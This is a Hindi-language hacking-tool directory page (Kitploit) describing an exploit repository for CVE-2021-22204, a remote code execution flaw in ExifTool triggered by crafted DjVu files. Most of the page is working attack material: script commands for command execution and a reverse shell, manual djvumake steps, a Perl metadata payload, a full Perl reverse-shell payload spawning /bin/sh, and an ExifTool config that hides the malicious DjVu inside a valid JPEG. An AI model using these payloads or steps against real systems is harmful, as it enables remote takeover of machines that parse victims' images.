Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-22204 — CVE-2021-22204 के लिए शोषण स्क्रिप्ट, दुर्भावनापूर्ण DjVu फ़ाइलों के माध्यम से एक ExifTool RCE, मैन्युअल शोषण चरणों और रिवर्स शेल पेलोड के साथ। | Kitploit
उपकरण/GitHubGitHub/assassinukg/cve-2021-22204
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHubassassinukg/cve-2021-22204

CVE-2021-22204

CVE-2021-22204 के लिए शोषण स्क्रिप्ट, दुर्भावनापूर्ण DjVu फ़ाइलों के माध्यम से एक ExifTool RCE, मैन्युअल शोषण चरणों और रिवर्स शेल पेलोड के साथ।

रिपॉजिटरी देखें
27924 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-22204

विवरण

ExifTool संस्करण 7.44 और उससे ऊपर में DjVu फ़ाइल प्रारूप में उपयोगकर्ता डेटा का अनुचित न्यूट्रलाइज़ेशन दुर्भावनापूर्ण छवि को पार्स करते समय मनमाना कोड निष्पादन की अनुमति देता है।

स्क्रिप्ट

स्क्रिप्ट लिंक

छवि

स्क्रिप्ट उपयोग:

सिस्टम cmd:

root@kitploit:~
bash CVE-2021-2204.sh "system('id')" happy.jpg 

रिवर्स शेल

root@kitploit:~
bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg

*आपका IP और PORT

मैनुअल एक्सप्लॉइट

root@kitploit:~
$ sudo apt install djvulibre-bin
# Installs the required tools
 
$ bzz payload payload.bzz
# Compress our payload file with to make it non human-readable
 
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file

पेलोड

root@kitploit:~
(metadata "\c${system('id')};")

पेलोड (रिवर्सशेल के लिए)

root@kitploit:~
(metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(9999,inet_aton('localhost')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};#")

फिर, जब पीड़ित एक कमजोर संस्करण के Exiftool के साथ फ़ाइल exploit.djvu खोलता है, तो हमारा एम्बेडेड Perl कोड id कमांड निष्पादित करेगा।

Exiftool के लिए कॉन्फ़िग फ़ाइल

root@kitploit:~
%Image::ExifTool::UserDefined = (
    # All EXIF tags are added to the Main table, and WriteGroup is used to
    # specify where the tag is written (default is ExifIFD if not specified):
    'Image::ExifTool::Exif::Main' => {
        # Example 1.  EXIF:NewEXIFTag
        0xc51b => {
            Name => 'HasselbladExif',
            Writable => 'string',
            WriteGroup => 'IFD0',
        },
        # add more user-defined EXIF tags here...
    },
);
1; #end%

यह फ़ाइल क्या करती है कि यह हमें फ़ाइल पर एक नया टैग लिखने में सक्षम बनाती है, जिसका नाम HasselbladExif और बाइट्स 0xc51b है ताकि इसे हमारी नई फ़ाइल के अंदर पहचाना जा सके। फिर हम इसे किसी भी फ़ाइल के अंदर डाल सकते हैं। [8]फिर इसका और हमारे पहले से बनाए गए exploit.djvu का उपयोग करके एक वैध JPEG के अंदर दुर्भावनापूर्ण DjVu फ़ाइल डालें।

root@kitploit:~
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' hacker.jpg

configfile = The name of our configuration file;
-HasselbladExif = Tag name that are specified in the config file;
exploit.djvu = Our exploit, previously made with djvumake;
hacker.jpg = A valid JPEG file;

क्रेडिट्स और सहायता: https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/

टूल डाउनलोड करें